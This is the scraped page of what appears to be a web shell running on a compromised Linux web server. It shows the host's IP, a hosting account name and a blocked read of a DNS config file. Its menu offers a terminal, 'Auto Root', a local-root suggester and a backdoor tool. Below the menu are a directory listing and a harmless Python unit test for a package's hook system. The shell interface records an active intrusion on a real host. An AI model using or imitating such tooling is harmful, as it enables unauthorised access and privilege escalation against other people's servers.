Linux velvet.gennetworks.in 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
LiteSpeed
Server IP : 161.129.70.235 & Your IP : 216.73.216.5
Domains :
Cant Read [ /etc/named.conf ]
User : virtueex
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.6 /
site-packages /
tracer /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-02-18 14:19
__init__.py
0
B
-rw-r--r--
2023-10-05 05:49
__meta__.py
294
B
-rw-r--r--
2023-10-05 05:49
test_FilenameCleaner.py
942
B
-rw-r--r--
2023-10-05 05:49
test_alpm.py
1.29
KB
-rw-r--r--
2023-10-05 05:49
test_applications.py
3.91
KB
-rw-r--r--
2023-10-05 05:49
test_collections.py
3.16
KB
-rw-r--r--
2023-10-05 05:49
test_dnf.py
1.29
KB
-rw-r--r--
2023-10-05 05:49
test_dpkg.py
1.26
KB
-rw-r--r--
2023-10-05 05:49
test_hooks.py
1.01
KB
-rw-r--r--
2023-10-05 05:49
test_lang.py
238
B
-rw-r--r--
2023-10-05 05:49
test_package.py
371
B
-rw-r--r--
2023-10-05 05:49
test_portage.py
1.28
KB
-rw-r--r--
2023-10-05 05:49
test_processes.py
2.38
KB
-rw-r--r--
2023-10-05 05:49
test_query.py
574
B
-rw-r--r--
2023-10-05 05:49
test_rules.py
2.19
KB
-rw-r--r--
2023-10-05 05:49
test_tracer.py
3.4
KB
-rw-r--r--
2023-10-05 05:49
test_views.py
9.81
KB
-rw-r--r--
2023-10-05 05:49
test_yum.py
1.26
KB
-rw-r--r--
2023-10-05 05:49
Save
Rename
from .__meta__ import * from tracer.hooks import HooksObserver, match called = None @match("app1") def hook_dummy(): global called called = "dummy" @match(["app2", "app3"]) def hook_dummy_list(): global called called = "dummy_list" @match("foo") def hook_dummy_append1(): global called called.append("foo") @match("bar") def hook_dummy_append2(): global called called.append("bar") class TestHooks(unittest.TestCase): def setUp(self): self.observer = HooksObserver() global called called = None def test_hook(self): self.observer("app1") self.assertEqual(called, "dummy") self.observer("app2") self.assertEqual(called, "dummy_list") self.observer("app3") self.assertEqual(called, "dummy_list") def test_hooks_list(self): global called called = [] self.observer("foo") self.observer("bar") self.assertListEqual(called, ["foo", "bar"]) def test_undefined_hook(self): global called self.observer("undefined") self.assertIsNone(called) if __name__ == '__main__': unittest.main()